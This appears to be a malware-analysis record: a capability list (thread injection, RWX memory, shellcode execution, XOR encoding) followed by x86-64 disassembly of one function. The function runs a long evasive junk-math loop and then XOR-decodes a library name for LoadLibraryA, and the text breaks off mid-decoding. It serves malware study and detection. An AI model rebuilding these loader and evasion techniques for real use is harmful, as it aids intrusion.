Function at 0x180002bf0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6880]
mov eax, 0x6980
call fcn.180019770
sub rsp, rax
movaps xmmword [rsp + 0x6970], xmm6
movaps xmmword [rsp + 0x6960], xmm7
movaps xmmword [rsp + 0x6950], xmm8
movaps xmmword [rsp + 0x6940], xmm9
movaps xmmword [rsp + 0x6930], xmm10
movaps xmmword [rsp + 0x6920], xmm11
movaps xmmword [rsp + 0x6910], xmm12
movaps xmmword [rsp + 0x6900], xmm13
movaps xmmword [rsp + 0x68f0], xmm14
movaps xmmword [rsp + 0x68e0], xmm15
mov rax, qword [0x180022010]
xor rax, rsp
mov qword [rbp + 0x67d0], rax
xor esi, esi
mov rax, qword [0x180022e20]
mov qword [rbp - 0x60], rax
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp - 0x68], rcx
mov dword [rbp + 0x570], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x578], xmm0
movups xmmword [rbp + 0x588], xmm0
movups xmmword [rbp + 0x598], xmm0
movups xmmword [rbp + 0x5a8], xmm0
movups xmmword [rbp + 0x5b8], xmm0
movups xmmword [rbp + 0x5c8], xmm0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1984], 0xffffffff
mov dword [rbp + 0x604], eax
mov r14d, 1
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x604], eax
inc rdx
cmp rdx, 0x270
jb 0x180002d00
mov dword [rbp + 0x600], 0x270
mov dword [rbp + 0x378], 0xffffff9c
mov dword [rbp + 0x37c], 0x64
movaps xmm11, xmmword [0x18001c1c0]
movups xmmword [rbp + 0x5e0], xmm11
mov dword [rsp + 0x50], esi
xorps xmm8, xmm8
movsd qword [rsp + 0x60], xmm8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180002d7d
imul rax, rax, 0x64
jmp 0x180002d98
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rbp - 0x38], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x388], xmm1
mov qword [rbp + 0x398], rsi
mov ecx, 8
call fcn.180018840
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, rsi
mov qword [rbp + 0x110], rbx
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x390]
cmp rdx, qword [rbp + 0x398]
je 0x180002dff
mov qword [rbp - 0x28], rsi
mov qword [rdx], rax
add qword [rbp + 0x390], 8
mov rbx, qword [rbp + 0x110]
jmp 0x180002e10
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x388]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x180002e22
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x180002e32
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, rsi
mov qword [rbp + 0x118], rbx
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp + 0x390]
cmp rdx, qword [rbp + 0x398]
je 0x180002e7c
mov qword [rbp - 0x20], rsi
mov qword [rdx], rax
add qword [rbp + 0x390], 8
mov rbx, qword [rbp + 0x118]
jmp 0x180002e8d
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x388]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x180002e9f
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x180002eaf
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, rsi
mov qword [rbp + 0x120], rbx
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp + 0x390]
cmp rdx, qword [rbp + 0x398]
je 0x180002ef9
mov qword [rbp - 0x18], rsi
mov qword [rdx], rax
add qword [rbp + 0x390], 8
mov rbx, qword [rbp + 0x120]
jmp 0x180002f0a
lea r8, [rbp - 0x18]
lea rcx, [rbp + 0x388]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x180002f1c
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x180002f2c
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, rsi
mov qword [rbp + 0x128], rbx
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp + 0x390]
cmp rdx, qword [rbp + 0x398]
je 0x180002f76
mov qword [rbp - 0x10], rsi
mov qword [rdx], rax
add qword [rbp + 0x390], 8
mov rbx, qword [rbp + 0x128]
jmp 0x180002f87
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0x388]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x180002f99
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x180002fa9
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov rbx, rsi
mov qword [rbp + 0x130], rbx
mov qword [rbp - 8], rax
mov rdx, qword [rbp + 0x390]
cmp rdx, qword [rbp + 0x398]
je 0x180002ff3
mov qword [rbp - 8], rsi
mov qword [rdx], rax
add qword [rbp + 0x390], 8
mov rbx, qword [rbp + 0x130]
jmp 0x180003004
lea r8, [rbp - 8]
lea rcx, [rbp + 0x388]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x180003016
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x180003026
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov rbx, rsi
mov qword [rbp + 0x138], rbx
mov qword [rbp], rax
mov rdx, qword [rbp + 0x390]
cmp rdx, qword [rbp + 0x398]
je 0x180003070
mov qword [rbp], rsi
mov qword [rdx], rax
add qword [rbp + 0x390], 8
mov rbx, qword [rbp + 0x138]
jmp 0x180003081
lea r8, [rbp]
lea rcx, [rbp + 0x388]
call fcn.1800104f0
nop
mov rcx, qword [rbp]
test rcx, rcx
je 0x180003093
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x1800030a3
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov r15d, 0x80000000
movaps xmm15, xmm11
unpckhpd xmm15, xmm11
movsd xmm10, qword [0x18001c110]
movsd xmm9, qword [0x18001c128]
movsd xmm7, qword [0x18001c1d0]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1800030ea
imul rax, rax, 0x64
jmp 0x180003105
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x180003cbe
mov r13d, esi
mov eax, dword [rbp + 0x378]
cmp eax, r15d
lea ecx, [rax + r15]
jb 0x180003126
lea ecx, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, r15d
jae 0x180003136
add eax, r15d
jmp 0x18000313b
add eax, 0x80000000
sub eax, ecx
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x180003150
call fcn.180010800
jmp 0x180003188
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180003188
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180003188
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180003172
mov eax, dword [rbp + 0x378]
cmp eax, r15d
lea r14d, [rax + r15]
jb 0x18000319e
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, r15d
jae 0x1800031ae
add eax, r15d
jmp 0x1800031b3
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x1800031cb
call fcn.180010800
mov ecx, eax
jmp 0x18000320a
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180003206
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180003206
nop dword [rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1800031f0
shr rcx, 0x20
lea edx, [rcx + r14]
mov r8, qword [rbp + 0x390]
mov r9, qword [rbp + 0x388]
sub r8, r9
sar r8, 3
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r15, qword [r9 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
mov eax, dword [rbp + 0x378]
mov ebx, 0x80000000
cmp eax, ebx
lea r14d, [rax + rbx]
jb 0x180003263
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
add eax, ebx
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x180003283
call fcn.180010800
mov ecx, eax
jmp 0x1800032cf
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1800032c6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1800032c6
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1800032b0
shr rcx, 0x20
mov ebx, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rbx]
lea r8d, [rdx - 0x80000000]
cmp edx, ebx
cmovae r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, r15
call r12
mov dword [rsp + 0x50], eax
movaps xmm12, xmm8
movaps xmm1, xmm10
mov esi, 2
mov ebx, esi
lea rcx, [rbp + 0x600]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x180003300
movaps xmm14, xmm15
subsd xmm14, xmm11
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm11
movaps xmm13, xmm8
movaps xmm1, xmm10
mov rbx, rsi
lea rcx, [rbp + 0x600]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm13, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x180003352
divsd xmm13, xmm1
mulsd xmm13, xmm14
addsd xmm13, xmm11
movaps xmm6, xmm13
andps xmm6, xmm7
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm7, xmm0
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm7, xmm0
addsd xmm6, xmm10
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm7, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm7, xmm1
movsd qword [rsp + 0x60], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov rbx, rsi
nop dword [rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x1800033f0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm11
movsd xmm1, qword [0x18001c118]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov rbx, rsi
lea rcx, [rbp + 0x600]
call fcn.180010800
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180003454
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x60]
mulsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xor r15d, r15d
mov qword [rbp + 0x4a8], r15
mov qword [rbp + 0x4b0], r15
lea r8d, [rbx + 6]
lea rdx, str.random
lea rcx, [rbp + 0x498]
call fcn.18000f3f0
nop
lea rbx, [rbp + 0x498]
cmp qword [rbp + 0x4b0], 0x10
jb 0x1800034f5
mov rbx, qword [rbp + 0x498]
mov rcx, rbx
jmp 0x1800034fc
lea rcx, [rbp + 0x498]
mov rdx, rbx
mov rsi, qword [rbp + 0x4a8]
add rsi, rcx
cmp rbx, rsi
je 0x180003557
nop
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x180003547
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x180003530
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x180003510
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3e0], xmm1
mov qword [rbp + 0x3f0], r15
mov ecx, 0x190
call fcn.180018840
mov qword [rbp + 0x3e0], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x3f0], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x3e8], r14
mov rsi, qword [rbp + 0x3e0]
cmp rsi, r14
je 0x1800035dc
nop dword [rax + rax]
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x378]
call fcn.18000e5d0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x1800035b0
mov r14, qword [rbp + 0x3e8]
mov rsi, qword [rbp + 0x3e0]
mov dword [rbp + 0x490], 0xffffff9c
mov dword [rbp + 0x494], 0x64
cmp rsi, r14
je 0x180003630
nop word [rax + rax]
mov ebx, dword [rsi]
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x490]
call fcn.18000e5d0
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x180003600
mov r14, qword [rbp + 0x3e8]
mov rsi, qword [rbp + 0x3e0]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.180010f60
mov r8d, r15d
mov rax, qword [rbp + 0x3e0]
mov rdx, r15
mov r9, qword [rbp + 0x3e8]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x1800036d5
cmp rcx, 8
jb 0x1800036d5
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x180003690
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x1800036ec
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x1800036e0
mov eax, dword [rsp + 0x50]
add eax, r8d
mov dword [rsp + 0x50], eax
mov eax, dword [rbp + 0x378]
mov esi, 0x80000000
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180003711
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x180003731
call fcn.180010800
mov ecx, eax
jmp 0x180003772
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180003769
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180003769
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180003753
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx - 0x80000000]
lea ebx, [rcx + rsi]
cmp ecx, esi
cmovae ebx, eax
mov eax, dword [rbp + 0x378]
cmp eax, esi
lea r15d, [rax + rsi]
jb 0x180003798
lea r15d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, esi
jae 0x1800037a6
add eax, esi
jmp 0x1800037ab
add eax, 0x80000000
sub eax, r15d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x1800037c3
call fcn.180010800
mov ecx, eax
jmp 0x18000380f
lea esi, [rax + 1]
call fcn.180010800
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x180003806
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x180003806
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x1800037f0
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r15d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul r8d, ebx
add eax, r8d
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000001
jge 0x180003859
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rbp + 0x378]
lea r14d, [rax + rsi]
jne 0x180003902
cmp eax, esi
jb 0x180003876
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, esi
jae 0x180003884
add eax, esi
jmp 0x180003889
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x1800038a1
call fcn.180010800
mov ecx, eax
jmp 0x1800038e2
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1800038d9
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1800038d9
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1800038c3
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
jmp 0x18000399b
cmp eax, esi
jb 0x18000390d
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, esi
jae 0x18000391b
add eax, esi
jmp 0x180003920
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x180003938
call fcn.180010800
mov ecx, eax
jmp 0x18000397f
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180003976
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180003976
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180003960
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
xor edi, edi
lea r12d, [rdi + 5]
nop dword [rax]
nop word [rax + rax]
mov r15d, edi
mov edi, 2
nop dword [rax + rax]
mov eax, dword [rbp + 0x378]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x1800039d5
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, esi
jae 0x1800039e3
add eax, esi
jmp 0x1800039e8
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x180003a00
call fcn.180010800
mov ecx, eax
jmp 0x180003a41
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180003a38
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180003a38
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180003a22
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
movaps xmm1, xmm8
movaps xmm2, xmm10
mov rbx, rdi
nop word [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180003a70
movaps xmm3, xmm15
subsd xmm3, xmm11
divsd xmm1, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm11
movsd xmm0, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
test r15b, 1
jne 0x180003b6d
mov eax, dword [rbp + 0x378]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180003ae3
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x37c]
cmp eax, esi
jae 0x180003af1
add eax, esi
jmp 0x180003af6
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x600]
cmp eax, 0xffffffff
jne 0x180003b0e
call fcn.180010800
mov ecx, eax
jmp 0x180003b4f
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180003b46
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180003b46
lea rcx, [rbp + 0x600]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180003b30
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
imul edx, eax
mov dword [rsp + 0x50], edx
jmp 0x180003bd0
movaps xmm1, xmm8
movaps xmm2, xmm10
mov rbx, rdi
nop dword [rax + rax]
lea rcx, [rbp + 0x600]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180003b80
movsd xmm0, qword [rsp + 0x60]
divsd xmm1, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm11
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
inc r15d
cmp r15d, 5
jl 0x1800039c0
sub r12, 1
mov edi, 0
jne 0x1800039b0
mov rdi, qword [rbp - 0x38]
mov rcx, qword [rbp + 0x3e0]
test rcx, rcx
je 0x180003c4e
mov rax, qword [rbp + 0x3f0]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003cb0
call fcn.180018c04
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3e0], xmm0
xor esi, esi
mov qword [rbp + 0x3f0], rsi
jmp 0x180003c50
xor esi, esi
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0x10
jb 0x180003c8d
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003cb7
call fcn.180018c04
inc r13d
cmp r13d, 0x186a0
movsd xmm7, qword [0x18001c1d0]
mov r15d, 0x80000000
jl 0x180003111
jmp 0x1800030c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x50]
mov rbx, qword [rbp + 0x388]
mov r14d, 1
test rbx, rbx
je 0x180003d5c
mov rdi, qword [rbp + 0x390]
cmp rbx, rdi
je 0x180003d04
mov rcx, qword [rbx]
test rcx, rcx
je 0x180003cf4
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x180003ce4
mov rbx, qword [rbp + 0x388]
mov rax, qword [rbp + 0x398]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180003d42
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003d42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180018c04
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x388], xmm0
mov qword [rbp + 0x398], rsi
movsd xmm0, qword [str.P4_f.__P]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x18001bd88]
mov word [rsp + 0x78], ax
cmp byte [0x18001bd89], 0
je 0x180003db1
mov byte [rsp + 0x70], 0x6e
xor byte [rsp + 0x71], 0x40
xor byte [rsp + 0x72], 0x42
xor byte [rsp + 0x73], 0x44
xor byte [rsp + 0x74], 0x46
xor byte [rsp + 0x75], 0x48
xor byte [rsp + 0x76], 0x4a
xor byte [rsp + 0x77], 0x4c
xor byte [rsp + 0x78], 0x4e
xor byte [rsp + 0x79], 0x50
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r11, rax
mov qword [rbp - 0x38], rax
test rax, rax
jne 0x18000409a
movups xmm0, xmmword [str.x___j8_p__7_z2_]
movups xmmword [rbp + 0xe8], xmm0
mov eax, dword [0x18001bf68]
mov dword [rbp + 0xf8], eax
movzx eax, word [0x18001bf6c]
mov word [rbp + 0xfc], ax
cmp byte [0x18001bf6d], r11b
je 0x18000407f
cmp dword [0x180022018], 2
jl 0x180004024
movdqa xmm9, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
mov eax, 2
movd xmm10, eax
movdqa xmm7, xmmword [0x18001c1e0]
mov eax, 4
movd xmm11, eax
movdqa xmm12, xmmword [0x18001c180]
movdqa xmm13, xmmword [0x18001c1f0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xe8]
mov edx, dword [rsp + 0x60]
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
